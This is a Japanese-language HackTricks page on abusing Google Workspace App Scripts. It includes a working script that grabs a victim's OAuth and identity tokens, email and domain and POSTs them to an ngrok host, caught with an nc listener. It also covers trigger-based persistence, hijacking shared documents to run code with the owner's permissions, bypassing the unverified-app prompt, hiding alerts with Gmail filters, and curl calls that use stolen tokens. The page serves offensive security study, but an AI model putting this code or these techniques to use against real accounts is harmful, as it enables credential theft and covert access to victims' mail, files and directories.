GWS - App Scripts

Support HackTricks

App Scripts

App Scriptsは、編集者権限を持つユーザーがApp Scriptにリンクされたドキュメントにアクセスしたときにトリガーされるコードであり、OAuthプロンプトを受け入れた後に実行されます。 また、App Scriptの所有者によって特定の時間ごとに実行されるように設定することもできます(持続性)。

App Scriptの作成

App Scriptを作成する方法はいくつかありますが、最も一般的な方法はGoogleドキュメント(任意のタイプ)からスタンドアロンプロジェクトとしてです:

Google Docs、Sheets、またはSlidesからコンテナバウンドプロジェクトを作成する
  1. Docsドキュメント、Sheetsスプレッドシート、またはSlidesプレゼンテーションを開きます。

  2. 拡張機能 > Google Apps Scriptをクリックします。

  3. スクリプトエディタで、無題のプロジェクトをクリックします。

  4. プロジェクトに名前を付けて、名前の変更をクリックします。

スタンドアロンプロジェクトを作成する

Apps Scriptからスタンドアロンプロジェクトを作成するには:

  1. script.google.comに移動します。

  2. 新しいプロジェクトを追加します。

  3. スクリプトエディタで、無題のプロジェクトをクリックします。

  4. プロジェクトに名前を付けて、名前の変更をクリックします。

Google Driveからスタンドアロンプロジェクトを作成する
  1. Google Driveを開きます。

  2. 新規 > その他 > Google Apps Scriptをクリックします。

Google Formsからコンテナバウンドプロジェクトを作成する
  1. Google Formsでフォームを開きます。

  2. その他 more_vert > スクリプトエディタをクリックします。

  3. スクリプトエディタで、無題のプロジェクトをクリックします。

  4. プロジェクトに名前を付けて、名前の変更をクリックします。

claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する

claspは、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイするためのコマンドラインツールです。

詳細については、Command Line Interface using clasp guideを参照してください。

App Scriptシナリオ

App ScriptでGoogle Sheetを作成する

App Scriptを作成することから始めます。このシナリオに対する私の推奨は、Google Sheetを作成し、**拡張機能 > App Scripts**に移動することです。これにより、シートにリンクされた新しいApp Scriptが開きます

トークンの漏洩

OAuthトークンへのアクセスを提供するには、サービス +をクリックし、次のようなスコープを追加する必要があります

  • AdminDirectory: ディレクトリのユーザーとグループにアクセス(ユーザーに十分な権限がある場合)

  • Gmail: Gmailデータにアクセス

  • Drive: Driveデータにアクセス

  • Google Sheets API: トリガーと連携するため

必要なスコープを自分で変更するには、プロジェクト設定に移動し、エディタに「appsscript.json」マニフェストファイルを表示を有効にします

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

リクエストをキャプチャするには、次のように実行するだけです:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

外部リクエストが行われると、OAuthプロンプトは外部エンドポイントにアクセスするための権限を要求します

トリガーの作成

アプリを読み込んだら、⏰ トリガーをクリックしてトリガーを作成します。関数として**getTokenを選択し、デプロイメントはHead、イベントソースはFrom spreadsheet、イベントタイプはOn openまたはOn edit**(必要に応じて)を選択し、保存します。

デバッグしたい場合は、実行タブでアプリスクリプトの実行を確認できます

共有

App Scriptトリガーするためには、被害者が編集者アクセスで接続する必要があります。

App Scriptを実行するために使用されるトークンは、トリガーの作成者のものになります。他のユーザーがファイルを編集者として開いても同様です。

共有されたドキュメントの悪用

誰かがApp Scriptとトリガーを持つドキュメントをあなたと共有した場合(固定デプロイメントではなくApp ScriptのHeadを使用)、App Scriptコードを変更(例えば、トークンを盗む関数を追加)し、アクセスすると、App Scriptはドキュメントを共有したユーザーの権限で実行されます! (トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください)。

スクリプトの作成者に誰かがスクリプトを変更したことを示す通知が送信されます(アラートを防ぐためにGmailの権限を使用してフィルターを生成するのはどうですか?)

攻撃者がApp Scriptのスコープを変更した場合、更新は新しいトリガーが作成されるまでドキュメントに適用されません。したがって、攻撃者は作成したトリガーで設定したスコープ以上の所有者のトークンを盗むことはできません。

共有の代わりにコピー

ドキュメントを共有するためのリンクを作成すると、次のようなリンクが作成されます:https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit "/edit"の部分を"/copy"に変更すると、Googleはドキュメントのコピーを生成するかどうかを尋ねます:

ユーザーがそれをコピーしてアクセスすると、ドキュメントの内容とApp Scriptsがコピーされますが、トリガーはコピーされないため、何も実行されません

ウェブアプリケーションとしての共有

App Scriptをウェブアプリケーションとして共有することも可能です(App Scriptのエディタで、ウェブアプリケーションとしてデプロイします)が、このようなアラートが表示されます:

その後、必要な権限を求める典型的なOAuthプロンプトが表示されます。

テスト

収集したトークンを使用してメールをリストすることができます:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

ユーザーのカレンダーをリストする:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script as Persistence

持続性のための1つのオプションは、ドキュメントを作成し、getToken関数のトリガーを追加し、攻撃者とドキュメントを共有することです。これにより、攻撃者がファイルを開くたびに、被害者のトークンを抽出します。

また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です(例えば、毎分、毎時、毎日...)。資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権のあるOAuthトークンを毎日漏洩させることができます

App Scriptを作成し、トリガーに移動し、トリガーの追加をクリックし、イベントソースとして時間駆動を選択し、自分に最適なオプションを選択します:

これにより、セキュリティアラートメールとモバイルへのプッシュメッセージが作成され、これについて通知されます。

Shared Document Unverified Prompt Bypass

さらに、誰かが編集者アクセスを持つドキュメントを共有した場合、そのドキュメント内にApp Scriptsを生成することができ、ドキュメントの所有者(作成者)がApp Scriptの所有者になります

これは、ドキュメントの作成者が、誰かがその中で作成した任意のApp Scriptの作成者として表示されることを意味します。

これはまた、App Scriptがドキュメントの作成者のWorkspace環境によって信頼されることを意味します。

これはまた、App Scriptがすでに存在していて、人々がアクセスを付与している場合、ドキュメントにEditor権限を持つ誰でもそれを変更し、そのアクセスを悪用できることを意味します。 これを悪用するには、人々がApp Scriptをトリガーする必要があります。そして、1つの便利なトリックは、スクリプトをウェブアプリとして公開することですすでにApp Scriptにアクセスを付与した**人々がウェブページにアクセスすると、App Scriptをトリガーします(これは<img>タグを使用しても機能します)。

Support HackTricks

Last updated